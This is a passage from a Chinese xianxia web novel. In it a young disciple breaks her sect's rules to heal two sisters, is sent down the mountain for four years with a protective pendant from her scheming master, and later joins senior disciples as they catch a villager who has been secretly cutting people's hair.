陵渊一愣,视线跟着移过去,只见青容微微蹙眉,面上虽也带着诧异,却并没有被无端攀附的惊怒。
像是一早就知道此事,只是没想到会在这种时候发生而已。
青容的确是这个心态。
她本就不是空口说白话,既然当时为了恩情做了承诺,她自然有兑现的准备,只是没预料过是在此时。
毕竟门派里的人都在,被指名道姓还挺尴尬的。
“咳,可否让我见见她?”
守山弟子看向陵渊,陵渊犹豫了一下,还是点了点头。
两人很快被带来,都是衣着狼藉,脸上身上都沾满灰尘,青容凭着记忆艰难认出,其中一人正是六年前在崖底救过他们的女子。
只是女子早已没了当初的清秀恬静,她站在那,佝偻着腰,好像已历经了数十年的漂泊。
“你……”青容微微张口,有些说不出话。
这是她第一次被凡间的岁月流逝所震惊。
女子扶着她身旁看着同样奄奄一息的少女,听到声音后,她缓缓抬眸,第一眼看的却不是青容,而是青容身侧的慕砚恒。
毕竟六年时光,青容变化很大,慕砚恒相对更好认一些。
对上视线后,慕砚恒也是微微一顿。
那女子似乎陡然间看到了什么希冀,她的眼睛短暂的亮了亮:“你是……六年前……”
“的确见过。”慕砚恒打断了她的话,“但,教规如此,抱歉。”
女子的眼神又立刻暗了下去,也没有再争什么,大概是看出慕砚恒在这里的地位并不一般,既已开口拒绝,那就彻底没了指望。
好生无情啊,青容心想。
可就在这时,她心中突然冒出一个念头。
“你遇到了什么困难?”她忽的开口,并上前两步。
这句话无疑又将希冀重新勾了回来,女子几乎来不及看是谁说话,便一股脑将事情全部倾泻:“我父母早逝,妹妹从数年前开始,便久卧病床,我这几年间找的任何药都无法根治,只能暂缓症状,数日前她便开始咳血,大夫说,她跟我一样,命不久矣。”
最后一句话,让在场弟子心中都忍不住道了声惨。
但也仅能如此,这种生老病死的疾苦,仙门无权插手。
这世间苦楚之人太多,若是破了这个先例,往后每个人都寻到仙门求助,那便是不受控的了。
青容没管其他人的目光,她只是半蹲下来,给两人把脉。
这些年她跟慕砚恒高低学了点医术,简单的症状还是可以判断的,以此她很快得出。
体虚气短,确实命不久矣。
直到此时,女子终于认出青容是谁,但她这次没有说话。
周遭的氛围过于沉寂,她不蠢,知道这个行为怕是违反教规,可她实在无法开口制止。
谁都不想断了自己的生路。
青容把完脉,心中大抵有了数,她重新站起来,面向慕砚恒。
“那个……师父。”青容声音很小,但也足以让人听清,“违反这个教规的话……是什么惩罚啊?”
如果她没记错,似乎是赶下山五年,她走个后门,应该能缩短一点时间。
慕砚恒的面色有些难看,一时没接话。
欧阳晔急得用脚尖碾地,想劝,却被龚柏清拉住。
“别插手。”龚柏清道。
“可……”
江溪闻适时提醒:“护教会处理,我们不能出声。”
影响越大,罚的越重。
山脚下寂静许久,慕砚恒依旧没有开口的意思,陵渊只得代替着道:“你要想好,此乃门派大忌,救一人,需强制下山历练五年,此期间不可返回门派,也无权参加仙门大比,你若两人都要救,便是十年。”
这下青容倒有些为难。
十年实在有些久了。
似是看出她的纠结,女子忽然朝她的方向一跪:“不用管我,若是可以,救我妹妹便好,她才十四岁,还没……还没长大呢。”
哪怕跪在地上的人自己也才二十余岁。
教规无情,人却是有情的,围观的弟子见此也是面露不忍,可心底更明白这教规破不得,一口同情的气上不去下不来,十分难受。
“不必。”慕砚恒却在这时出了声。
他踱步上前,缓缓伸手,掌心凝聚着若隐若现的白色微光,逐渐靠近女子的额头,那女子像是陡然遭到什么刺痛,表情变得极为痛苦,却又动弹不得。
眼前人的神色过于端肃,有那么一瞬间,青容甚至以为慕砚恒要杀了她。
可与此同时,也只有正对方靠的极近的青容才能看清,那凝聚于掌心的,分明是疗愈之术。
或许是故意敞给她看的。
青容一怔,一时没明白缘由。
片刻后,慕砚恒收回手,女子随即脱力般跌坐在地,有些发懵。
没人看懂这是哪一出,直到慕砚恒漫不经心捋了捋衣袖:“你身上有残存的,属于魔的气息,本君已然帮你驱散。”
哪来的魔气?青容心中喃喃。
“但你的妹妹,并没有受到魔气影响,是正常的内腑亏空,体虚之症。”
这下青容听懂了。
有魔气,那就属于仙门管辖范畴内,出手相救并不算违规。
只是仙山之中,魔气本难藏匿,有一人身上残存已是罕见,不可能存在两人同时沾染,其他人都没发现的道理。
所以……
“弟子认罚。”
青容不知何时站在了已经晕厥的少女身侧,同刚刚慕砚恒的动作一样,掌心放在少女额头。
她听到背后一声叹气。
青容其实能猜到,慕砚恒的想法就是只救一个,而那女子勉强于他们有恩,所以成了被选择的人,既还了恩,也不至于吃到处罚。
可惜,她打定了借此机会下山的主意。
这个叹气,大概是慕
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砚恒觉得她过于心软,无药可救。
见慕砚恒没有出手制止,其他人也只得不吭声,直到青容再度起身。
“我只能尽力弥补她体内亏空,后续还是得喝药逐渐调理,今日之事,还请二位烂在肚子里,若有人问,便说是妖邪附体,已被路过的仙友驱散。”
她这番话条理有序,不急不缓,甚至带着丝威严之气,女子连忙点头:“放心,阁下是我们的救命恩人,此事我二人以性命发誓绝不外传,那你……”
你怎么办呢?
只要不是傻子,就能看清青容身边的男人面色有多冷。
青容自己当然也清楚,她权当没心眼,先让守山弟子将二人送走以免殃及池鱼,而后慢吞吞挪到慕砚恒身侧,拽了拽他的衣袖。
“师父啊……”她此生头一回发出这么软这么惹人心疼的声音,还带了点哭腔,“我实在不太忍心看姐姐独自一人,此事徒儿的确有错,请师父责罚。”
她顶着委屈的表情,言语里却没有半分退让,全是对挨罚的坦然。
慕砚恒沉默了很久,直到青容第三次请求责罚,他才冷冷开口:“既如此,为师也不可能偏袒,只是念你仙门大比表现良好,便免你一年历练,从今日起,四年间,弟子青容,不得踏上临霜教一步,给你两个时辰,收拾东西。”
而后,他挥袖便走,连掌教一行人也没等。
显然是生气了。
青容看着他的背影,抿抿嘴,也快步跟了上去,她才不留在这,不然估计得被师兄师姐们叨叨死。
身为护教亲传弟子,带头违反教规,肯定是能掀起点波澜的,这是非之地她得早点逃离。
慕砚恒御剑很快,以至于身影越来越远,回栖星阁的路程中,青容忍不住对鎏虹道:“我一开始还担心他拦我,结果他只是口头上说说,虽说这样很方便,但他是不是有点忒无情。”
“我这么大个徒弟,说走就走,他都不挽留一下吗?就冷个脸生个气就没啦?”
鎏虹笑了笑:“可能他猜到你想下山了,反正放你出去玩几年对他影响也不大,我倒是觉得他削成四年,就是想让你赶上下一届仙门大比,此番也算得益,你能顺利下山,也真的救了两个人。”
青容点头:“的确,碰巧她还有个同样苟延残喘的妹妹,来的是两个人,否则慕砚恒直接治好,我都没借口出手,哎,不得不说,两位出现的还真及时。”
很难得的,鎏虹一时没接话。
剑灵虽有自主意识和情感,但一般不会揣测自己主人的意图,只是刚刚青容的最后一句话,乍一听没什么,可总是让人觉得奇怪。
“不过如果她的父母没有去世,一家人一起来了,岂不是麻烦更大。”片刻后,鎏虹接着道。
青容摇摇头:“真来一家人,我也只会救一两个,都救的话得二十年,我都够把自己生出来了,那我不是大傻子。”
鎏虹似乎找到了刚刚觉得哪里奇怪的缘由。
“你把他们当成助力下山的……机缘?”
“那不然呢?”青容感慨,“不过慕砚恒对我是一点阻拦和挽留都没有,还真是无情。”
可我觉得,你比他更无情。
鎏虹守住了剑灵的本分,将这句话藏在心里,没有道出口。
青容却很敏感的捕捉到鎏虹暗地里的意思,她面上笑意还在,一副不在乎的模样,只语气比刚刚低沉了些。
“鎏虹,不是我没有同情心,但,我是下山来助慕砚恒历劫的,若光顾着怜悯与我毫不相干的人,行差踏错,导致任务失败,可就真成傻子了。”
“陌生人的命吧……实话实说,若与历劫成功相比,那在我心里,其实没那么重要。”
31. 跑路
青容很快回到自己的房间,她也不磨蹭,更没有去寻慕砚恒,手脚利落就开始收拾。
须臾后,果然有零星弟子寻了过来。
此事发生还是过于突然,欧阳晔等人都是一副恍恍惚惚的样子,青容收拾东西,他们一行人便站在一旁,也没人插话,只是静静看着她。
又是片刻,慕砚恒的身影出现在门外。
青容只当没看见,将乾坤囊塞在怀中,背上背着放衣服的小包裹,神态自若,井井有条,一副即将浪迹天涯的潇洒侠客模样。
只是慕砚恒堵在了门口,成了青容大侠的绊脚石。
“师父。”虽然嫌他碍事,但青容还是规规矩矩喊了一声。
慕砚恒见她收拾这么快,且面上没有分毫不快,心中本就有的隐隐猜测似乎愈发成真,他轻嗤一声。
“你这是本来就想下山?”
青容被揭穿,也算意料之中,毕竟山下之事本就突兀,不过她还是矢口否认:“徒儿自然觉得山下的烟火有几分热闹,但也不至于为了下山游玩而不择手段,甚至自毁四年时光吧,况且若徒儿想去,请求师父,师父也一定会答应,何必自讨苦吃。”
她说的是事实,慕砚恒哪怕隐隐觉得不对,但也实在找不出一个十三岁的孩子非要不惜手段离开门派的缘由,他只能黑着脸,开始叮嘱下山后的事:“违规惩罚意义的下山,按理说不会有任何经济支援,念你年纪小,为师已让门派会给予支撑基础生活的钱,等会自己去正殿领。”
这算是开了个后门,青容登时不烦他了,甚至觉得还有几分顺眼,她真心实意露出个笑,突然扑在慕砚恒身前,声音也轻了些:“谢谢师父,师父真好。”
她如今堪堪及慕砚恒胸口高,不会令人感到逾越,慕砚恒也没推开,语气不觉间比刚刚缓和了些:“江溪闻过段时日也会下山,你后续可以同他们一起。”
临霜教有少部分外门弟子是常年留在山下的,由首席弟子带头,行惩恶扬善斩除妖魔之事,不过听闻首席弟子正常回门派参与仙门大比,少说也得待上一阵子,如今竟这么快又要走。
要么是侠客之心按耐不住,要么是想顺道照顾她。
青容选择相信前者,毕竟她与江溪闻算不上多熟,既然都下山了,有其他人相伴,也确实比一个人待四年要好些。
起码吃喝算公家的,能省钱。
她又回头拿了些东西,乾坤囊容量很大,能拿的值钱东西她直接当着慕砚恒的面往里装,见慕砚恒睁一只眼闭一只眼,她又多拿了几样。
多备点钱总不是坏事。
两个时辰流逝的很快,青容只来得及收拾东西,并没有多少同人告别的时间,她也不太想听那些千篇一律的叮嘱,便只简单和欧阳晔他们做了些眼神交流,意思是让他们放心。
能看出陆怀夕等人还是蛮担忧的,只是碍于慕砚恒还在这里,青容也没有主动搭话的意思,他们也只能缄口不言,同时心中盘算什么时候寻个理由下山看看师妹。
“你该走了。”慕砚恒道。
听起来还挺冷漠。
青容撇撇嘴,又回头看了眼自己的房间,收拾那会觉得没什么,但要走时还真有点不舍。
她背着包裹,走到慕砚恒身侧,从袖口拿出一块折叠好的纸,举着手伸到慕砚恒眼前。
慕砚恒微微一顿,接了,将纸张缓缓揭开。
纸上赫然是鎏虹剑的画图,低配简陋扭曲版,且只画了其中的长剑,另一把软剑,青容觉得并没有必要。
凡间能抗住她单剑的已是少数,若真到了单剑打不过的地步,必是内力碾压,那多个软剑也着实用处不大,直接张口喊师父救命就完事。
“知道了。”
慕砚恒将纸收了起来,只淡淡吐出这么三个字。
可惜最近四年是摸不到新剑了,青容惋惜叹气。
她对着人群摆摆手,以示告别,同时避开了所有紧盯她的目光,生怕一对视就能炸出一堆嘱咐来。
去穹川正殿领银子时,陵渊直接将一个棕色布袋塞到她手中:“这是四年的钱,你自己支配,平日多注意些,别被歹人偷窃。”
布袋乍一掂量沉甸甸的,青容对凡间的物价不是特别熟悉,整体印象还停留在皇城,若按皇城物价,这钱怕是一年就得耗个干净。
但既然慕砚恒说这钱够四年开销,她就勉强信一次。
青容将布袋一并放入乾坤囊:“多谢掌教。”
“违规便是违规,处罚无可避免,在外照顾好自己,注意安全。”陵渊板着一张脸,瞧着非常严厉,却是话锋一转,“你创了临霜教被罚下山弟子的最小年纪,顺利归来后,和十三岁小组第一名一样,也会载入门派手册的。”
青容眼角抽了抽。
自她退出仙门大比,这临霜教想尽办法哄她的程度已经几近癫狂,连挨罚的年纪都能出个排行榜。
师语楼也道:“江溪闻过些时日会去京都,你可以在那里呆些日子,只是京都人流大,你需记住,山下不可随意使用术法,但自身安全受到威胁时,这个规矩暂时废止。”
“弟子知晓了。”
嘱咐终究躲不过,但两个人总比七嘴八舌要好,青容应了几声,再度告辞后,她抱着之前备用的木剑,正准备御剑离开。
可她刚踩上去,正殿门口忽然多了个人影,正是慕砚恒。
该说的话刚刚已经说完,慕砚恒绝不可能是来找她闲聊的,大抵是寻掌教有事,既与她无关,青容便没有停下。
然而就在她掠过慕砚恒身旁的一瞬,一道气流扑面而来,差点把她从剑上扑下去。
“走这么急做什么?还有个东西没给你。”
青容好不容易重新维持平衡,人在半空,满脸无语。
来的时候不说,直接拦人,差点给她抡下来。
慕砚恒倒也没让她收剑,而是直接往她怀里扔了个东西:“带在身上,一刻都别摘。”
青容拿起来端详一阵,似乎是个佩玉腰坠,并不稀奇,慕砚恒又接
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这道:“这是监督你状态的,你若在山下用法术胡作非为,为师定能第一时间赶到。”
“……”
青容在心中翻了个白眼,嘴上应了。
她再度御剑而去,这一次,再没人拦她。
她顺利到了山脚下,坐上备好的马车——除救人保命,临霜教弟子并不能在凡间施法,尤其她这种受罚的,有马车送她都算是开了后门。
她躺在车厢内,闭上眼,没有回望,好像这只是一次再寻常不过的出行。
但对她来说,也的确如此。
…
穹川殿宇内,慕砚恒望着青容离开的方向,神色平静,似乎并没有多少感触。
陵渊不知何时凑了过来,见慕砚恒板着个脸,忽然忍不住笑出声。
“你怎的将护教坠玉给她后,还一副满不在意的模样?难道是小青容逼着你交出来的?”
这坠玉是慕砚恒上位护教那年,由上一任护教赠予他的,虽比不得令牌之类的重要信物,但这就像是临霜护教身份的象征,只要旁人看到,就会清楚这坠玉的主人是谁。
而慕砚恒将坠玉给了青容,意味着所谓“监督”完全就是扯淡。
这位尊贵的护教就是奔着护犊子去的。
历练历练,本是为了吃苦,然而坠玉一戴,谁敢招惹她?
慕砚恒被戳穿,依旧神态自若:“毕竟年纪小,也不可能与弟子们分秒不离,江溪闻总有顾不过来的时候,况且,我没告诉她玉坠的来历,也不至于让她有恃无恐,该历练还是得历练。”
陵渊和师语楼表面上似懂非懂点点头,心中却明镜似的,自以为已然将慕砚恒看穿。
自以为到底是自以为。
他们并不知晓,慕砚恒想的远比所谓“暗自护短”更加深沉。
这个坠玉不可能瞒四年,山下人来人往,大概率过不了多久,就会有人在青容面前大呼小叫坠玉来历,到那时,青容自然会知晓他暗中的呵护。
同时也会明白他有多么看中她。
越是习惯于这样无微不至的袒护,后续一并收回时……
慕砚恒开始设想那会是什么情景,是质问,是崩溃,是陨落,回忆起那场漫天大火,似乎一切反应都会让他兴奋痛快至极。
可出乎预料的。
他并没有自己最早的想象中那般激动。
或许是刚刚告别的原因,栖星阁中温度尚存,以至于他暂时无法将青容和这些场景融合在一起,也就没了继续设想的空间。
袖中的图纸悄然滑落,慕砚恒回过神,弯腰捡起,歪歪扭扭的线条颇有些不堪入目,但也初具剑形,若加以完善,确实能铸出一柄不错的剑。
顷刻间,他忽然想明白了。
其实目前的首要目的并不是望眼以后,毕竟计划的实施没什么难度,况且还剩许多年。
他现在只有一件勉强称之为当务之急的事。
把他徒弟心心念念的剑给铸出来。
四年后,送给她。
32. 过渡
青容的第一难很快到来。
马车坐久了,腰酸屁股疼。
毕竟远远比不上御剑速度,去京都需要些时日,青容将乾坤囊中存的花饼拿出来啃了两口,然而啃多了实在腻得慌,青容无奈,只能暂停马车,寻了个馆子准备随便吃点。
此处距离京都还有段距离,略显偏僻,行人不多,青容要了碗三鲜面,就在等待之时,她察觉到隔壁桌数名男子投来的目光。
着实不太友善,一股拐卖儿童的味。
小二端上面后,她招呼小二凑过来,低声问:“你们这个店,保护客人人身安全吗?”
小二愣了愣,极快瞥了眼不远处的数人,心中了然:“客官放心,我们老板虽更喜爱以理服人,但也会些拳脚。”
青容似懂非懂点点头,闷头开吃。
不出她所料,没过多久,那桌人便走了过来,为首的男子对她露出一个阴涔涔的笑:“小姑娘,迷路了吗?外面停了马车,用不用带你回去?”
青容吸溜一口面,没搭理。
她下山时是一身很寻常的打扮,瞧着像普通商贾人家的女儿,因不常练剑热爱偷懒的缘故,手上也没什么茧,在这偏僻之地,似乎可以任人宰割。
她冷淡的态度令男子生了火气,可他再一张口,青容就中断了他:“打住,那些威胁的话倒我胃口,等我吃完,你再发表你的想法,这面还剩半碗,浪费可惜,要不这样,你先回桌,待会再来,我还得吃一会。”
言罢,又不紧不慢喝了口汤。
“……”
这些作为加在一起挑衅性十足,数人呆呆听完,连威胁都不想威胁了,直接怒目圆睁就准备动手。
为首男子张牙舞爪上前,一副要将人生吞的气势,只是下一刻,不远处有什么东西飞了过来,擦着男子鼻尖而过,牢牢钉在柱子上,甚至将柱子震出显眼的裂纹。
数人登时僵住,为首男子更是气势卡一半不上不下,瞧着有些滑稽。
那是一双筷子。
内力很强,青容心想,有这等功夫,估计在修真门派都能排上号,她倒是开始好奇这小面馆的老板究竟是何方人物。
出手之人没故作神秘,搞人未出但声先到那套,而是大大方方走了出来,步履踏在木阶上发出有节奏的声响。青容颇怀期待的偏头看去,却眼角一抽。
来人她竟是认识。
正是半月谷那出了名的逆徒,纪苍华。
纪苍华似乎也认出了她,眉头微挑,他缓步过去,伸手将筷子拔下来,在指尖转了转,对着数人轻嗤一声:“刚刚手滑,竟是没扎准,各位再给个机会?”
青容眼睁睁看着刚才还气势汹汹的数名大汉集体打了个哆嗦,似乎纪苍华的脸比扎裂柱子的木筷更加恐怖。
一伙人丢下钱袋,急匆匆往门外跑,只有为首男子硬着头皮点头哈腰留下一句:“真不知道这的老板是您,您大人有大量,莫要计较今日之事,这钱就当赔罪了。”
面馆登时安静下来,其他客人也集体噤声,只伸长脖子看热闹,青容趁机将面前之人打量了几眼。
在扶摇宗时,她就清楚这纪苍华是什么身份,虽从头邪到尾,但面对她和众弟子时还算端方有礼,硬凹出一股君子之风。
可现在似乎是没怎么藏着的。
他一袭暗红色长衫,眼角微红,半眯着眼靠在柱子旁,慵懒而妖异,眼底戏谑之意尚存,若是初见,她一定会把这人认成妖,提防着他时刻准备为非作歹。
少年俊美无铸,可惜瞧着实在不像个好人,实际上也确实不是好人。
都源自于魔宗,说不定还和慕砚恒沆瀣一气呢。
青容心中审视,面上倒没显露什么,她规规矩矩行了个同辈礼:“纪道友,巧遇。”
纪苍华再次挑眉,回了个礼:“巧遇,若没记错,阁下应当是临霜护教那位亲传弟子,怎的下山了?有任务在身?”
青容登时一副委屈样:“不是,我是违反了门规,被罚下山历练,得待一些时日,今日恰好路过如此,不过,你怎么会是这里的老板呢?”
“很正常啊。”纪苍华平淡道,“因为我也是被赶下山的,原因嘛……你应当知道的。”
那可太知道了,整个修真界谁人不知。
但这人看起来还挺享受被架起来拷打的,一副恨不得告诉所有人他大逆不道的感觉。
“师父罚我不得平日上山,但看在我武艺超群,便允许我参加仙门大比,所以你前些时日才能见到我,山下嘛,没什么乐子,便开了点店,赚赚钱也好。”
青容知道这是真话,纪苍华也没必要骗她。
就从这一届仙门大比的结果来看,年仅十七便进入八强的纪苍华的确是半月谷如今最有天分的弟子,若顺利发展,未来定能成为半月谷载入名册的宗师。
就是不那么顺利。
她能理解魔宗中人来仙门卧底,但她实在想不明白既然打算蛰伏,又为何大张旗鼓整出那么一遭,于他而言没有半分好处。
不知他真实身份的,只会觉得他荒谬又无礼。
青容猜不到,也懒得再想,仙门的琐事与她没有半分干系,这碗三鲜面味道着实不错,她索性将汤也喝了个干净,挥挥手:“小二,麻烦结账。”
“不用,请你的。”纪苍华笑了笑,“若口味满意,欢迎下次再来。”
青容却之不恭,道了声谢。
两人之间本就不熟,所谓“共同话题”目前也暂时没共同,青容很快起身告辞,纪苍华又客套了两句,便目送她离开。
青容没有回头,并未看到他充满玩味与探寻的目光,在她腰间玉坠之间流转。
她继续坐马车,又煎熬两天后总算到了京都。
掀开车帘,已是繁华地段,和这数日的荒郊野岭完全不同,连空气中仿佛都有花糕的味道。青容缓步下车,刚准备伸个懒腰,却突然有一双手伸在了她面前。
掌心还放着糕点,撒上去的糖霜尚未融化
她愣了愣,抬头看见来人面容,有些惊讶:“首席师兄?你这么早就来啦?”
原来这花糕味不是错觉。
江溪闻轻笑,接过青容的包裹:“本来还要过些时日,但实在担心你独自在山下觉得害怕,亦或是遇到危险,反正大比已经结束,在门派也无事,便提前来寻你了。”
青容捏着糕点,难得沉默。
本来她都想好了见到江溪闻应该说什么,她编漂亮话的本事向来不错,无非就是感谢师兄,门派幸甚有你,要向师兄学习。
可临到关头,她反而有些说不出
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话。
在她的观念里,无缘无故对一个人好,就一定怀着目的性,她对慕砚恒如此,对那小皇子贺景麟也如此,因为有价值,才值得花心思。
那修真门派这些师兄师姐呢?
她有什么价值,能得这般相待,总不能真如江溪闻所说,只是担心她一个人害怕,便来了。
她不明白。
“怎么了?”见她默然,江溪闻轻声询问,“坐马车太久,不舒服?”
她始终觉得这位首席师兄的温柔和龚柏清不太一样,龚柏清本身便很是温润随和,没有半点与其身份相匹配的锋芒,像是惯于照顾人的长兄。
可江溪闻不同。
他并不缺乏身为首席弟子该有的凌然疏离,不会令人想主动靠近,可当真接触后,才会发觉原来此人并不似外表那般冷峻。
如山间晨雾中流淌的清泉,奇寒而甘冽。
正如陆怀夕所说,既为修真界诸多女弟子的“白月光”,常年霸占五大仙门美男榜第一,总是有理由的。
朦胧的距离感,最是勾人。
青容回过神,摇摇头:“无妨的师兄,只是觉得师兄实在辛苦,刚回门派没多久,又因我的缘故提前下山,实在过意不去。”
江溪闻似是没想到她会以担责的角度来看此事,微微一怔:“怎会这般想?这本就不是什么大事,提前数日,与我而言没有什么区别,又能确保你安全,自然利大于弊。”
这么一想也是,或许于江溪闻而言,这就是短途中顺不顺路的差异,反复纠结此事,倒显得她自作多情。
“我知道了,师兄。”她重新露出笑容,“师兄真好,多谢师兄。”
江溪闻舒了口气,也放下心去:“不必言谢,照顾门派师妹是应该的,行了一路,饿不饿?”
饿倒不至于,但这路上也着实没吃几口好的,青容想了想:“嗯……忽的有些思念烤羊腿。”
“行啊,师兄请你。”江溪闻掏出自己的钱袋,又忽的想起什么似的,交代道,“但师妹不要把这事往外说噢,毕竟你是下山受罚的,需低调行事。”
“嗯嗯,我明白的。”
她一副乖巧听话的模样,瞧着实在和“违反门规被逐下山”八竿子打不着一起,江溪闻本打算询问违规缘由的话突然就噎住了。
他忽然觉得,或许有些规定,哪怕是对的,也是为了修真界整体秩序着想,但终究还是不近人情了些。
“其余弟子过段日子也会回来,那这四年,你便跟随我们,在山下惩奸除恶,斩妖除魔,但起居是分开的,许多外门弟子的待遇你也没有,你可以理解为……同行。”
青容明白这个意思,惩罚性历练终究要和普通弟子区分开来,走后门也得有个度:“好的师兄。”
江溪闻点点头,余光瞥了眼青容手上的木剑,忍不住问:“用不用给你换把剑?”
“不用。”青容果断拒绝,“师父答应我,等我回去就给我新剑,我想等师父的。”
反正也就四年,这么久的木剑都寒碜的过来了,不差这一会。
还能体现出她的坚定不移与专一。
她来的太早,有些东西的确不合时宜,才导致她多了这四年的麻烦。
而四年之后,才是一切真正开始的时候。
33. 调虎离山
鲜少人知晓,皇城向东南十里的方向有一方断崖,断崖下虽无生息,但再行两三余里,会有一处村落,较为偏僻,算是繁华中的荒芜之地。
村中最近闹了鬼。
衙门来来回回往返几次,并没有查出什么线索,蹲点几天也愣是没见到那传闻中“在夜晚漂泊专剃人头发”的鬼。
由于这“鬼”没有害出什么人命,也没有实际威胁,只是做出剃人发这种没有道德的事,衙门无功而返数次后,也没继续遣派人调查。
后有村民不知从哪请了道士来作法驱散,可依旧没有效果,被剃头的人多了一茬又一茬,苦不堪言。
村长没法子,只能将求助转向修真门派。
这种鸡毛蒜皮的小事,按理说修真界不会插手,奈何最近风平浪静,许多外门弟子闲的斗蛐蛐,便接了这个“除鬼”的活。
尤其是临霜教外门弟子近日恰好在京都,路都不用赶。
外门弟子以江溪闻为首,被村长带到村落时已近日暮,早已有村民提前杀好猪羊,做了饭菜款待,江溪闻连连称谢,村民也连连称谢,两拨人谢来谢去,眨眼太阳便彻底落了山。
“那鬼聪明的很。”村长唉声叹气,“只要村中来了外人,他便知是有人来抓他,一直躲藏着,很是麻烦。”
江溪闻微微一顿:“那我们应当晚些悄悄来的。”
“哎呀,没用,他像是能感应到,之前衙门派人潜入,特别小心,绝对没任何风吹草动,他也藏着,但衙门一走,当晚就出现了。”
村长喋喋不休交代了好半天,瞧着很是惧怕,江溪闻劝慰了几句,待村长离开后,一伙人这才聚在一起议论。
“这世上哪有鬼啊,听着像小孩子恶作剧。”有弟子道。
“的确,大概率就是村落中人,所以一直未被发现。”
“可能内部有仇恨?又怕闹大,所以一直不痛不痒的报复。”
周围人也应和了几声,很显然都觉得是有村民故意为之。
江溪闻没接话,只是在议论声中突然问了一嘴:“小师妹那边,消息传过了吗?”
“啊,路上用信鸽传过了的,这个点应该收到了,师兄是要再传一次这里的情况吗?”
仙门弟子有自己的传讯工具,只是青容作为被罚下山的弟子,本身不应该和他们一道,所以江溪闻一行给青容传递消息,非紧急要事一般都是用民间的信鸽,最大程度的尊重“历练”,但效率终归慢上许多。
江溪闻顿了顿:“罢了,她收到消息应该已在来的路上,今夜先查探一下,记住,不要单独行动,这世上没有鬼,但也不能保证就一定是人。”
“那小师妹孤身一人怎么办?会不会有危险?”
“她身上有护教给的坠玉,不会有事的。”
自打四年前在山下汇合后没多久,江溪闻便发现青容腰间挂着护教坠玉,很显然是慕砚恒特意给的,坠玉有施法痕迹,想必就是为了以防遇到危险,若当真有事,护教收到感应后定是第一个赶到。
其他弟子显然也见过那玉坠,且知晓来历,当下放心许多,开始认真商量对策。
“师兄,我们来的有些高调,似乎没有继续藏着的必要,那人今晚想必不会现身,要不要先布个阵?”
江溪闻点头表示赞同:“嗯,可以布两重,一重杀阵,二重缚灵阵。”
“两重?第一重是为了诈他吗?”
“嗯,既然已经高调的来了,那不如……再高调的彻底一些。”
…
夜深,村落中是死一般的寂静,只有法阵的微光若隐若现,溢着毫不掩饰的杀气。
一处不起眼的房屋,有人缓缓合上木窗。
“怎么把修真界的人招来了?”
屋内传来女子的声音,她坐在床沿,怀中抱着被褥,满是焦急与担忧:“这可是最后一晚,最重要的一次,不能中断的。”
关窗的男子一阵默然,他似是发呆了片刻,才道:“不好对付,看打扮,这还是正经仙门弟子,不是散修。”
“不好对付也只能拼了,还有十日便是月圆之夜,今天必须再取一发!”女人咬牙切齿。
男子低着头,双手撑在窗台上,神色沮丧:“他们布了杀阵,只要我们踏出门,可能会立即灰飞烟灭。”
“可是,阿远,这是我们唯一的机会啊。”
女人眸中闪着泪花,她嘴唇微颤,像在极力控制自己的情绪,但说出的话依旧带着哽咽:“我们做的事确实不对,可我们没有真的害人啊。”
“但这是邪功……”阿远捂着头,咬牙切齿,“茹儿,正邪不两立,被发现后,这些仙门弟子一定会诛杀我们的。”
“那我们便活该吗!”
话音陡然提升,茹儿冲动后随即意识到不妥,连忙低下头,可她还是忍不住重复了一次:“那我们……便活该吗?”
夜依旧很静。
一阵沉默后,房屋的门被缓缓推开,两人并行而出,阿远望着法阵的微光,轻声道:“我看过些阵法的书籍,这是杀阵,但此处人员密集,他们不会布的过于凶险,我去找阵眼,将其破坏掉,然后你速去取发,只要你逃走,我们就赢了。”
“那你呢?”
“我没有真的伤人,只要你离开,功法不暴露,他们不会对我下杀手的。”
虽然刚刚在屋内,阿远满是退缩之意,可当真正踏出门后,一切便只剩下一条路,阿远这才发现,其实他也没有那么害怕。
大概是担心影响其他人,法阵威力的确没那么大,不至于完全无法靠近,阿远拼命回想看书时的记忆,小心翼翼寻找阵眼。
也不知是不是那帮弟子没觉得他很危险,所以也没太用心,这法阵看着骇人,但实则并不坚固,甚至有些零散,他很快寻到阵眼,也没心思去想仙门的阵怎么可能被随便破除,他满脑子都是另一边人焦急的等待,于是不顾一切抓起沙土,将阵眼抹乱。
红光陡然消失,无形的压抑感也一并散去,他舒了口气,庆幸之前的书没白看。
可是下一刻,他只觉心头一紧,如同有一张网裹住了他的五脏六腑,并不断收束,他脱力倒在地上,呼吸愈发困难,眼前也逐渐模糊。
“撤阵吧,是普通人。”
阿远已经听不清周围的声音,但知晓有人说话,而就在话音落下后,周身的不适随之消散,好像刚刚令人窒息的折磨只
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是一场幻觉。
五感重新恢复,他缓了缓,勉强有力气从地上爬起来,紧接着便看到一个极其清俊的青年蹲在他面前。
“你身上没有一点内力,怎么会懂破阵?”
阿远深吸几口气:“……从前,看过些书。”
他想尽量拖延时间,又接着道:“看来仙门阵法也不过如此,竟被我一个普通人随随便便就破了。”
然而眼前青年并不似他想象中般被话语触怒,青年只是轻轻一笑:“我临霜教阵法,若当真悉心布控,虽称不上无人可破,但也不会这么快失守。”
阿远愣了愣,这才想起刚刚的束缚感。
原来他破的阵只是为了诓他,后面那个他完全没有提前察觉的,才是真正的法阵。
阿远坐在地上,无话可说。
青年——江溪闻也没有要威逼质问的意思,他甚至让其他弟子倒杯茶来,以一种闲谈的语气道:“怎么会想着晚上割人发肤呢?”
阿远抿抿唇:“搞恶作剧,我家门口种了菜,前段时候被偷了,我找不到是谁,只能全部报复喽。”
这段话听起来很合理,割发虽不道德,但也确实没真的伤人,若只是因怨气而小小报复,仙门自然没有继续参与的必要。
江溪闻似笑非笑:“竟是如此,的确可怜,但若是我,见村中来人调查此事,我定蛰伏几日,待人走后再继续实施,今夜出行,有弊无利,你说对吗?”
阿远已是浑身冷汗,他刚刚受了缚灵阵,加上紧张,本就心跳极快,说话便断断续续直喘气:“我……我怎知你们仙门会来这里,多拖一天便会少报复一个人,我可不乐意,况且,我就算是故意挑衅你们又如何?我未伤人,难道你们仙门连这种小纠纷都要插手吗?”
这边动静太大,已经有村民试探着出来看热闹,离得近的村民认出了坐在地上的男子,惊讶道:“阿远?你怎的在这?”
阿远刚说完一大段话,此刻累得要死,便没吭声。
临霜教弟子围着他,虽没有出剑,但未得到江溪闻的话,显然也没放他走的意思。
沉默几秒,问话的村民也反应了过来,当即痛心疾首:“怎么会是你呢?你怎么会做这种……恶作剧?你媳妇知道这事吗?”
就在此时,不远处忽的传来一声哀嚎。
“啊啊啊!我头发也没了!”
